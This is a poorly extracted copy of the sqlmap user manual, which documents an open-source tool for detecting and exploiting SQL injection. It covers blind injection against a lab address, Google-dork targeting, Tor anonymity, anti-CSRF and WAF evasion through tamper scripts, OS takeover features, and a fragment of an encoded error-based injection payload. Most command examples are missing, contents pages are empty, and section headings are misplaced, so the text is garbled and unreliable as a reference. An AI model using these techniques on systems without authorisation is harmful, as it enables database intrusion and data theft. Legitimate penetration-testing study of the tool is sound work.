SQL em Ingles
SQL em Ingles
Abstract
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over of
database servers. It comes with a powerful detection engine, many niche
features for the ultimate penetration tester and a broad range of switches
lasting from database fingerprinting, over data fetching from the database,
to accessing the underlying file system and executing commands on the
operating system via out-of-band connections.
Contents
1 Introduction 7
1.1 Detect and exploit a SQL injection . . . . . . . . . . . . . . . . . 7
1.2 Direct connection to the database management system . . . . . . 8
2 Features 10
2.1 Generic features . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.2 Fingerprint and enumeration features . . . . . . . . . . . . . . . . 11
2.3 Takeover features . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2.4 Demo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4 Dependencies 14
1
sqlmap users manual Contents
5 History 15
5.1 2016 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.2 2015 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.3 2014 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.4 2013 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.5 2012 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.6 2011 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.7 2010 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
5.8 2009 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
5.9 2008 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
5.10 2007 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
5.11 2006 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
5.12 Output verbosity . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
5.13 Target . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.13.1 Direct connection to the database . . . . . . . . . . . . . 25
5.13.2 Target URL . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.13.3 Parse targets from Burp or WebScarab proxy logs . . . . 26
5.13.4 Parse targets from remote sitemap(.xml) file . . . . . . . 26
5.13.5 Scan multiple targets enlisted in a given textual file . . . 26
5.13.6 Load HTTP request from a file . . . . . . . . . . . . . . . 26
5.13.7 Process Google dork results as target addresses . . . . . . 27
5.13.8 Load options from a configuration INI file . . . . . . . . . 27
5.14 Request . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
5.14.1 HTTP method . . . . . . . . . . . . . . . . . . . . . . . . 27
5.14.2 HTTP data . . . . . . . . . . . . . . . . . . . . . . . . . . 28
5.14.3 Parameter splitting character . . . . . . . . . . . . . . . . 28
5.14.4 HTTP Cookie header . . . . . . . . . . . . . . . . . . . . 28
5.14.5 HTTP User-Agent header . . . . . . . . . . . . . . . . . 29
5.14.6 HTTP Host header . . . . . . . . . . . . . . . . . . . . . . 30
5.14.7 HTTP Referer header . . . . . . . . . . . . . . . . . . . . 30
5.14.8 Extra HTTP headers . . . . . . . . . . . . . . . . . . . . . 30
v 1.0 2
sqlmap users manual Contents
v 1.0 3
sqlmap users manual Contents
v 1.0 4
sqlmap users manual Contents
v 1.0 5
sqlmap users manual Contents
v 1.0 6
sqlmap users manual 1 Introduction
7 License 87
8 Disclaimer 87
9 Developers 87
1 Introduction
Lets say that you are auditing a web application and found a web page that
accepts dynamic user-provided values via GET, POST or Cookie parameters or
via the HTTP User-Agent request header. You now want to test if these are
affected by a SQL injection vulnerability, and if so, exploit them to retrieve as
much information as possible from the back-end database management system,
or even be able to access the underlying file system and operating system.
In a simple world, consider that the target url is:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and (the condition evaluates to True):
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one (the condition evaluates to False). This likely means
that you are in front of a SQL injection vulnerability in the id GET parameter
of the index.php page. Additionally, no sanitisation of users supplied input
is taking place before the SQL statement is sent to the back-end database
management system.
This is quite a common flaw in dynamic content web applications and it does
not depend upon the back-end database management system nor on the web
application programming language; it is a flaw within the application code. The
Open Web Application Security Project rated this class of vulnerability as the
most common and serious web application vulnerability in their Top Ten list
from 2013.
Now that you have found the vulnerable parameter, you can exploit it by
manipulating the id parameter value in the HTTP request.
v 1.0 7
sqlmap users manual 1 Introduction
Back to the scenario, we can make an educated guess about the probable syntax
of the SQL SELECT statement where the user supplied value is being used in the
get_int.php web page. In pseudo PHP code:
$query = "SELECT [column name(s)] FROM [table name] WHERE id=" . $_REQUEST[id];
As you can see, appending a syntactically valid SQL statement that will evaluate
to a True condition after the value for the id parameter (such as id=1 AND
1=1) will result in the web application returning the same web page as in the
original request (where no SQL statement is added). This is because the back-
end database management system has evaluated the injected SQL statement.
The previous example describes a simple boolean-based blind SQL injection
vulnerability. However, sqlmap is able to detect any type of SQL injection flaw
and adapt its work-flow accordingly.
In this simple scenario it would also be possible to append, not just one or more
valid SQL conditions, but also (depending on the DBMS) stacked SQL queries.
For instance: [...]&id=1;ANOTHER SQL QUERY#.
sqlmap can automate the process of identifying and exploiting this type of vulnera-
bility. Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
Up until sqlmap version 0.8, the tool has been yet another SQL injec-
tion tool, used by web application penetration testers/newbies/curious
teens/computer addicted/punks and so on. Things move on and as they evolve,
we do as well. Now it supports this new switch, -d, that allows you to connect
from your machine to the database servers TCP port where the database
v 1.0 8
sqlmap users manual 1 Introduction
v 1.0 9
sqlmap users manual 2 Features
2 Features
Features implemented in sqlmap include:
v 1.0 10
sqlmap users manual 2 Features
v 1.0 11
sqlmap users manual 2 Features
Some of these techniques are detailed in the white paper Advanced SQL injection
to operating system full control and in the slide deck Expanding the control over
the operating system from the database.
v 1.0 12
sqlmap users manual 3 Download and update
2.4 Demo
You can watch demo videos on Bernardo and Miroslav YouTube pages. Also, you
can find lots of examples against publicly available vulnerable web applications
made for legal web assessment here.
v 1.0 13
sqlmap users manual 4 Dependencies
You can update it at any time to the latest development version by running:
or:
git pull
4 Dependencies
sqlmap is developed in Python, a dynamic, object-oriented, interpreted pro-
gramming language freely available from http://python.org/download/. This
makes sqlmap a cross-platform application which is independant of the operating
system. sqlmap requires Python version 2.6.x or 2.7.x. To make it even easier,
many GNU/Linux distributions come out of the box with Python installed.
Other Unixes and Mac OSX also provide Python packaged and ready to be
installed. Windows users can download and install the Python installer for x86,
AMD64 and Itanium.
sqlmap relies on the Metasploit Framework for some of its post-exploitation
takeover features. You can grab a copy of the framework from the download
page - the required version is 3.5 or higher. For the ICMP tunneling out-of-band
takeover technique, sqlmap requires the Impacket library too.
If you are willing to connect directly to a database server (switch -d), without
passing through the web application, you need to install Python bindings for
the database management system that you are going to attack:
v 1.0 14
sqlmap users manual 5 History
5 History
5.1 2016
Feb 27, Bernardo and Miroslav release stable version of sqlmap 1.0.
5.2 2015
Oct 14, Miroslav presents sqlmap - why (not how) it works? (slides)
at Navaja Negra & ConectaCon 2015 in Albacete, Spain.
5.3 2014
5.4 2013
5.5 2012
5.6 2011
December, Throughout the year dozen of new features have been devel-
oped and hundreds of bugs have been fixed.
September 23, Miroslav presents It all starts with the (SQL in-
jection from attackers point of view) (slides) talking about methods
attackers use in SQL injection attacks at FSec - FOI Security Symposium
in Varazdin, Croatia.
v 1.0 15
sqlmap users manual 5 History
5.7 2010
5.8 2009
December 18, Miroslav Stampar replies to the call for developers. Along
with Bernardo, he actively develops sqlmap from version 0.8 release
candidate 2.
December 12, Bernardo writes to the mailing list a post titled sqlmap
state of art - 3 years later highlighting the goals achieved during these first
three years of the project and launches a call for developers.
December 4, sqlmap-devel mailing list has been merged into sqlmap-users
mailing list.
November 20, Bernardo and Guido present again their research on stealth
database server takeover at CONfidence 2009 in Warsaw, Poland.
September 26, sqlmap version 0.8 release candidate 1 goes public on
the subversion repository, with all the attack vectors unveiled at SOURCE
Barcelona 2009 Conference. These include an enhanced version of the
Microsoft SQL Server buffer overflow exploit to automatically bypass DEP
memory protection, support to establish the out-of-band connection with
the database server by executing in-memory the Metasploit shellcode
v 1.0 16
sqlmap users manual 5 History
v 1.0 17
sqlmap users manual 5 History
5.9 2008
5.10 2007
November 4, release 0.5 marks the end of the OWASP Spring of Code
2007 contest participation. Bernardo has accomplished all the proposed
objects which include also initial support for Oracle, enhanced support
for UNION query SQL injection and support to test and exploit SQL
injections in HTTP Cookie and User-Agent headers.
June 15, Bernardo releases version 0.4 as a result of the first OWASP
Spring of Code 2007 milestone. This release features, amongst others,
improvements to the DBMS fingerprint engine, support to calculate the
estimated time of arrival, options to enumerate specific data from the
database server and brand new logging system.
April, even though sqlmap was not and is not an OWASP project, it gets
accepted, amongst many other open source projects to OWASP Spring of
Code 2007.
March 30, Bernardo applies to OWASP Spring of Code 2007.
January 20, sqlmap version 0.3 is released, featuring initial support for
Microsoft SQL Server, support to test and exploit UNION query SQL
injections and injection points in POST parameters.
v 1.0 18
sqlmap users manual 5 History
5.11 2006
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show programs version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
Request:
These options can be used to specify how to connect to the target URL
v 1.0 19
sqlmap users manual 5 History
Optimization:
These options can be used to optimize the performance of sqlmap
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
v 1.0 20
sqlmap users manual 5 History
Detection:
These options can be used to customize the detection phase
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
v 1.0 21
sqlmap users manual 5 History
Brute force:
These options can be used to run brute force checks
v 1.0 22
sqlmap users manual 5 History
General:
These options can be used to set some general working parameters
v 1.0 23
sqlmap users manual 5 History
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--page-rank Display page rank (PR) for Google dork results
--purge-output Safely remove all content from output directory
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--wizard Simple wizard interface for beginner users
Option: -v
This option can be used to set the verbosity level of output messages. There exist
seven levels of verbosity. The default level is 1 in which information, warning,
error, critical messages and Python tracebacks (if any occur) are displayed.
v 1.0 24
sqlmap users manual 5 History
A reasonable level of verbosity to further understand what sqlmap does under the
hood is level 2, primarily for the detection phase and the take-over functionalities.
Whereas if you want to see the SQL payloads the tools sends, level 3 is your best
choice. This level is also recommended to be used when you feed the developers
with a potential bug report, make sure you send along with the standard output
the traffic log file generated with option -t. In order to further debug potential
bugs or unexpected behaviours, we recommend you to set the verbosity to level
4 or above.
5.13 Target
Option: -d
Run sqlmap against a single database instance. This option accepts a connection
string in one of following forms:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL,
Oracle, Microsoft SQL Server, PostgreSQL, etc.)
DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)
For example:
Option: -u or --url
Run sqlmap against a single target URL. This option requires a target URL in
following form:
http(s)://targeturl[:port]/[...]
For example:
v 1.0 25
sqlmap users manual 5 History
Option: -l
Rather than providing a single target URL, it is possible to test and inject
against HTTP requests proxied through Burp proxy or WebScarab proxy. This
option requires an argument which is the proxys HTTP requests log file.
Option: -x
A sitemap is a file where web admins can list the web page locations of
their site to tell search engines about the site contents organization. You
can provide a sitemaps location to sqlmap by using option -x (e.g. -x
http://www.target.com/sitemap.xml) so it could find usable target URLs for
scanning purposes.
Option: -m
Providing list of target URLs enlisted in a given bulk file, sqlmap will scan each
of those one by one.
Sample content of a bulk file provided as an argument to this option:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
Option: -r
One of the possibilities of sqlmap is loading of raw HTTP request from a textual
file. That way you can skip usage of a number of other options (e.g. setting of
cookies, POSTed data, etc).
Sample content of a HTTP request file provided as an argument to this option:
id=1
v 1.0 26
sqlmap users manual 5 History
Note that if the request is over HTTPS, you can use this in conjunction with
switch --force-ssl to force SSL connection to 443/tcp. Alternatively, you can
append :443 to the end of the Host header value.
Option: -g
It is also possible to test and inject on GET parameters based on results of your
Google dork.
This option makes sqlmap negotiate with the search engine its session cookie to
be able to perform a search, then sqlmap will retrieve Google first 100 results
for the Google dork expression with GET parameters asking you if you want to
test and inject on each possible affected URL.
For example:
Option: -c
It is possible to pass users options from a configuration INI file, an example is
sqlmap.conf.
Note that if you provide other options from command line, those are evaluated
when running sqlmap and overwrite those provided in the configuration file.
5.14 Request
These options can be used to specify how to connect to the target URL.
Option: --method
sqlmap automatically detects the proper HTTP method to be used in HTTP
requests. Nevertheless, in some cases, it is required to force the usage of specific
HTTP method (e.g. PUT) that is not used by automatism. This is possible with
usage of this option (e.g. --method=PUT).
v 1.0 27
sqlmap users manual 5 History
Option: --data
By default the HTTP method used to perform HTTP requests is GET, but you
can implicitly change it to POST by providing the data to be sent in the POST
requests. Such data, being those parameters, are tested for SQL injection as
well as any provided GET parameters.
For example:
Option: --param-del
There are cases when default parameter delimiter (e.g. & in GET and POST
data) needs to be overwritten for sqlmap to be able to properly split and process
each parameter separately.
For example:
The web application requires authentication based upon cookies and you
have such data.
You want to detect and exploit SQL injection on such header values.
Either reason brings you to need to send cookies with sqlmap requests, the steps
to go through are the following:
v 1.0 28
sqlmap users manual 5 History
Note that the HTTP Cookie header values are usually separated by a ; character,
not by an &. sqlmap can recognize these as separate sets of parameter=value
too, as well as GET and POST parameters. In case that the separation character
is other than ; it can be specified by using option --cookie-del.
If at any time during the communication, the web application responds with
Set-Cookie headers, sqlmap will automatically use its value in all further HTTP
requests as the Cookie header. sqlmap will also automatically test those values for
SQL injection. This can be avoided by providing the switch --drop-set-cookie
- sqlmap will ignore any coming Set-Cookie header.
Vice versa, if you provide a HTTP Cookie header with option --cookie and
the target URL sends an HTTP Set-Cookie header at any time, sqlmap will
ask you which set of cookies to use for the following HTTP requests.
There is also an option --load-cookies which can be used to provide a special
file containing Netscape/wget formatted cookies.
Note that also the HTTP Cookie header is tested against SQL injection if the
--level is set to 2 or above. Read below for details.
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
Note that also the HTTP User-Agent header is tested against SQL injection if
the --level is set to 3 or above. Read below for details.
v 1.0 29
sqlmap users manual 5 History
Option: --host
You can manually set HTTP Host header value. By default HTTP Host header
is parsed from a provided target URL.
Note that also the HTTP Host header is tested against SQL injection if the
--level is set to 5. Read below for details.
Option: --referer
It is possible to fake the HTTP Referer header value. By default no HTTP
Referer header is sent in HTTP requests if not explicitly set.
Note that also the HTTP Referer header is tested against SQL injection if the
--level is set to 3 or above. Read below for details.
Option: --headers
It is possible to provide extra HTTP headers by setting the option --headers.
Each header must be separated by a newline and it is much easier to provide them
from the configuration INI file. You can take a look at the sample sqlmap.conf
file for such case.
Example against a MySQL target:
v 1.0 30
sqlmap users manual 5 History
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]
Basic
Digest
NTLM
Option: --auth-file
v 1.0 31
sqlmap users manual 5 History
This option should be used in cases when the web server requires proper client-
side certificate and a private key for authentication. Supplied value should be a
PEM formatted key_file that contains your certificate and a private key.
Switch --ignore-401
In case that you want to test the site that occasionally returns HTTP error 401
(Unauthorized), while you want to ignore it and continue tests without providing
proper credentials, you can use switch --ignore-401
v 1.0 32
sqlmap users manual 5 History
come misconfigured (or reset previously set configuration) giving you a false
sense of anonymity. Using this switch sqlmap will check that everything works
as expected by sending a single request to an official Are you using Tor? page
before any target requests. In case that check fails, sqlmap will warn you and
abruptly exit.
Option: --delay
It is possible to specify a number of seconds to hold between each HTTP(S)
request. The valid value is a float, for instance 0.5 means half a second. By
default, no delay is set.
Option: --timeout
It is possible to specify a number of seconds to wait before considering the
HTTP(S) request timed out. The valid value is a float, for instance 10.5 means
ten seconds and a half. By default 30 seconds are set.
Option: --retries
It is possible to specify the maximum number of retries when the HTTP(S)
connection timeouts. By default it retries up to three times.
Option: --randomize
It is possible to specify parameter names whose values you want to be randomly
changed during each request. Length and type are being kept according to
provided original values.
5.14.18 Filtering targets from provided proxy log using regular ex-
pression
Option: --scope
Rather than using all hosts parsed from provided logs with option -l, you can
specify valid Python regular expression to be used for filtering desired ones.
v 1.0 33
sqlmap users manual 6 Bypass anti-CSRF protection
This way, sqlmap will visit every a predefined number of requests a certain safe
URL without performing any kind of injection against it.
Switch: --skip-urlencode
Depending on parameter placement (e.g. GET) its value could be URL encoded
by default. In some cases, back-end web servers do not follow RFC standards and
require values to be send in their raw non-encoded form. Use --skip-urlencode
in those kind of cases.
v 1.0 34
sqlmap users manual 6 Bypass anti-CSRF protection
--csrf-token can be used to set the name of the hidden value that contains
the randomized token. This is useful in cases when web sites use non-standard
names for such fields. Option --csrf-url can be used for retrieval of the token
value from arbitrary URL address. This is useful if the vulnerable target URL
doesnt contain the necessary token value in the first place, but it is required to
extract it from some other location.
Switch: --force-ssl
In case that user wants to force usage of SSL/HTTPS requests toward the target,
he can use this switch. This can be useful in cases when urls are being collected
by using option --crawl or when Burp log is being provided with option -l.
Option: --eval
In case that user wants to change (or add new) parameter values, most probably
because of some known dependency, he can provide to sqlmap a custom python
code with option --eval that will be evaluated just before each request.
For example:
Each request of such run will re-evaluate value of GET parameter hash to contain
a fresh MD5 hash digest for current value of parameter id.
6.1 Optimization
These switches can be used to optimize the performance of sqlmap.
Switch: -o
This switch is an alias that implicitly sets the following options and switches:
--keep-alive
--null-connection
--threads=3 if not set to a higher value.
v 1.0 35
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --predict-output
This switch is used in inference algorithm for sequential statistical prediction of
characters of value being retrieved. Statistical table with the most promising
character values is being built based on items given in txt/common-outputs.txt
combined with the knowledge of current enumeration used. In case that the
value can be found among the common output values, as the process progresses,
subsequent character tables are being narrowed more and more. If used in
combination with retrieval of common DBMS entities, as with system table
names and privileges, speed up is significant. Of course, you can edit the common
outputs file according to your needs if, for instance, you notice common patterns
in database table names or similar.
Note that this switch is not compatible with --threads switch.
Switch: --keep-alive
This switch instructs sqlmap to use persistent HTTP(s) connections.
Note that this switch is incompatible with --proxy switch.
Switch: --null-connection
There are special HTTP request types which can be used to retrieve HTTP
responses size without getting the HTTP body. This knowledge can be used
in blind injection technique to distinguish True from False responses. When
this switch is provided, sqlmap will try to test and exploit two different NULL
connection techniques: Range and HEAD. If any of these is supported by the target
web server, speed up will come from the obvious saving of used bandwidth.
These techniques are detailed in the white paper Bursting Performances in Blind
SQL Injection - Take 2 (Bandwidth).
Note that this switch is incompatible with switch --text-only.
Option: --threads
It is possible to specify the maximum number of concurrent HTTP(S) requests
that sqlmap is allowed to do. This feature relies on multi-threading concept and
inherits both its pro and its cons.
v 1.0 36
sqlmap users manual 6 Bypass anti-CSRF protection
This features applies to the brute-force switches and when the data fetching is
done through any of the blind SQL injection techniques. For the latter case,
sqlmap first calculates the length of the query output in a single thread, then
starts the multi-threading. Each thread is assigned to retrieve one character of
the query output. The thread ends when that character is retrieved - it takes up
to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.
The maximum number of concurrent requests is set to 10 for performance and
site reliability reasons.
Note that this option is not compatible with switch --predict-output.
6.2 Injection
These options can be used to specify which parameters to test for, provide
custom injection payloads and optional tampering scripts.
URI injection point There are special cases when injection point is within
the URI itself. sqlmap does not perform any automatic test against URI paths,
unless manually pointed to. You have to specify these injection points in the
command line by appending an asterisk (*) after each URI point that you want
sqlmap to test for and exploit a SQL injection.
This is particularly useful when, for instance, Apache web servers mod_rewrite
module is in use or other similar technologies.
v 1.0 37
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --dbms
By default sqlmap automatically detects the web applications back-end database
management system. sqlmap fully supports the following database management
systems:
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
SQLite
Firebird
Sybase
SAP MaxDB
DB2
If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection
has been identified or if you want to avoid an active fingeprint, you can provide
the name of the back-end DBMS yourself (e.g. postgresql). For MySQL and
Microsoft SQL Server provide them respectively in the form MySQL <version>
and Microsoft SQL Server <version>, where <version> is a valid version for
the DBMS; for instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
In case you provide --fingerprint together with --dbms, sqlmap will only
perform the extensive fingerprint for the specified database management system
only, read below for further details.
Note that this option is not mandatory and it is strongly recommended to use
it only if you are absolutely sure about the back-end database management
system. If you do not know it, let sqlmap automatically fingerprint it for you.
Option: --os
By default sqlmap automatically detects the web applications back-end database
management system underlying operating system when this information is a
v 1.0 38
sqlmap users manual 6 Bypass anti-CSRF protection
dependence of any other provided switch or option. At the moment the fully
supported operating systems are:
Linux
Windows
It is possible to force the operating system name if you already know it so that
sqlmap will avoid doing it itself.
Note that this option is not mandatory and it is strongly recommended to use
it only if you are absolutely sure about the back-end database manage-
ment system underlying operating system. If you do not know it, let sqlmap
automatically identify it for you.
Switch: --invalid-bignum
In cases when sqlmap needs to invalidate original parameter value (e.g. id=13)
it uses classical negation (e.g. id=-13). With this switch it is possible to force
the usage of large integer values to fulfill the same goal (e.g. id=99999999).
Switch: --invalid-logical
In cases when sqlmap needs to invalidate original parameter value (e.g. id=13)
it uses classical negation (e.g. id=-13). With this switch it is possible to force
the usage of boolean operations to fulfill the same goal (e.g. id=13 AND 18=19).
Switch: --invalid-string
In cases when sqlmap needs to invalidate original parameter value (e.g. id=13)
it uses classical negation (e.g. id=-13). With this switch it is possible to force
the usage of random strings to fulfill the same goal (e.g. id=akewmc).
Switch: --no-cast
When retrieving results, sqlmap uses a mechanism where all entries are being
casted to string type and replaced with a whitespace character in case of NULL
values. That is being made to prevent any erroneous states (e.g. concatenation
v 1.0 39
sqlmap users manual 6 Bypass anti-CSRF protection
of NULL values with string values) and to easy the data retrieval process itself.
Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS)
where this mechanism needed to be turned-off (using this switch) because of
problems with data retrieval itself (e.g. None values are returned back).
Switch: --no-escape
In cases when sqlmap needs to use (single-quote delimited) string values inside
payloads (e.g. SELECT foobar), those values are automatically being escaped
(e.g. SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)).
That is being done because of two things: obfuscation of payload content
and preventing potential problems with query escaping mechanisms (e.g.
magic_quotes and/or mysql_real_escape_string) at the back-end server.
User can use this switch to turn it off (e.g. to reduce payload size).
$query = "SELECT * FROM users WHERE id=(" . $_GET[id] . ") LIMIT 0, 1";
To detect and exploit this SQL injection, you can either let sqlmap detect the
boundaries (as in combination of SQL payload prefix and suffix) for you during
the detection phase, or provide them on your own.
For example:
$query = "SELECT * FROM users WHERE id=(1) <PAYLOAD> AND (abc=abc) LIMIT 0, 1";
v 1.0 40
sqlmap users manual 6 Bypass anti-CSRF protection
Option: --tamper
sqlmap itself does no obfuscation of the payload sent, except for strings between
single quotes replaced by their CHAR()-alike representation.
This option can be very useful and powerful in situations where there is a weak
input validation mechanism between you and the back-end database management
system. This mechanism usually is a self-developed input validation routine
called by the application source code, an expensive enterprise-grade IPS appliance
or a web application firewall (WAF). All buzzwords to define the same concept,
implemented in a different way and costing lots of money, usually.
To take advantage of this option, provide sqlmap with a comma-separated list of
tamper scripts and this will process the payload and return it transformed. You
can define your own tamper scripts, use sqlmap ones from the tamper/ folder
or edit them as long as you concatenate them comma-separated as value of the
option --tamper (e.g. --tamper="between,randomcase").
The format of a valid tamper script is as follows:
# Needed imports
from lib.core.enums import PRIORITY
def tamper(payload):
Description of your tamper script
retVal = payload
v 1.0 41
sqlmap users manual 6 Bypass anti-CSRF protection
You can check valid and usable tamper scripts in the tamper/ directory.
Example against a MySQL target assuming that > character, spaces and capital
SELECT string are banned:
6.3 Detection
6.3.1 Level
Option: --level
This option requires an argument which specifies the level of tests to perform.
There are five levels. The default value is 1 where limited number of tests
(requests) are performed. Vice versa, level 5 will test verbosely for a much larger
number of payloads and boundaries (as in pair of SQL payload prefix and suffix).
The payloads used by sqlmap are specified in the textual file xml/payloads.xml.
Following the instructions on top of the file, if sqlmap misses an injection, you
should be able to add your own payload(s) to test for too!
Not only this option affects which payload sqlmap tries, but also which injection
points are taken in exam: GET and POST parameters are always tested, HTTP
v 1.0 42
sqlmap users manual 6 Bypass anti-CSRF protection
Cookie header values are tested from level 2 and HTTP User-Agent/Referer
headers value is tested from level 3.
All in all, the harder it is to detect a SQL injection, the higher the --level
must be set.
It is strongly recommended to higher this value before reporting to the mailing
list that sqlmap is not able to detect a certain injection point.
6.3.2 Risk
Option: --risk
This option requires an argument which specifies the risk of tests to perform.
There are four risk values. The default value is 1 which is innocuous for the
majority of SQL injection points. Risk value 2 adds to the default level the tests
for heavy query time-based SQL injections and value 3 adds also OR-based SQL
injection tests.
In some instances, like a SQL injection in an UPDATE statement, injecting an
OR-based payload can lead to an update of all the entries of the table, which is
certainly not what the attacker wants. For this reason and others this option
has been introduced: the user has control over which payloads get tested, the
user can arbitrarily choose to use also potentially dangerous ones. As per the
previous option, the payloads used by sqlmap are specified in the textual file
xml/payloads.xml and you are free to edit and add your owns.
v 1.0 43
sqlmap users manual 6 Bypass anti-CSRF protection
Such data is easy for an user to retrieve, simply try to inject into the affected
parameter an invalid value and compare manually the original (not injected)
page content with the injected wrong page content. This way the distinction
will be based upon string presence or regular expression match.
In cases when user knows that the distinction of a True query from a False one
can be done using HTTP code (e.g. 200 for True and 401 for False), he can
provide that information to sqlmap (e.g. --code=200).
Switches: --text-only and --titles
In cases when user knows that the distinction of a True query from a False
one can be done using HTML title (e.g. Welcome for True and Forbidden for
False), he can turn turn on title-based comparison using switch --titles.
In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP
responses body, you can filter pages (switch --text-only) just for their textual
content. This way, in a good number of cases, you can automatically tune the
detection engine.
6.4 Techniques
These options can be used to tweak testing of specific SQL injection techniques.
Option: --technique
This option can be used to specify which SQL injection type to test for. By
default sqlmap tests for all types/techniques it supports.
In certain situations you may want to test only for one or few specific types of
SQL injection thought and this is where this option comes into play.
This option requires an argument. Such argument is a string composed by any
combination of B, E, U, S, T and Q characters where each letter stands for a
different technique:
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
For instance, you can provide ES if you want to test for and exploit error-based
and stacked queries SQL injection types only. The default value is BEUSTQ.
v 1.0 44
sqlmap users manual 6 Bypass anti-CSRF protection
Note that the string must include stacked queries technique letter, S, when you
want to access the file system, takeover the operating system or access Windows
registry hives.
6.4.2 Seconds to delay the DBMS response for time-based blind SQL
injection
Option: --time-sec
It is possible to set the seconds to delay the response when testing for time-based
blind SQL injection, by providing the --time-sec option followed by an integer.
By default its value is set to 5 seconds.
Option: --union-cols
By default sqlmap tests for UNION query SQL injection technique using 1 to 10
columns. However, this range can be increased up to 50 columns by providing
an higher --level value. See the relevant paragraph for more details.
You can manually tell sqlmap to test for this type of SQL injection with a specific
range of columns by providing the tool with the option --union-cols followed
by a range of integers. For instance, 12-16 means tests for UNION query SQL
injection by using 12 up to 16 columns.
Option: --union-char
By default sqlmap tests for UNION query SQL injection technique using NULL
character. However, by providing a higher --level value sqlmap will performs
tests also with a random number because there are some corner cases where
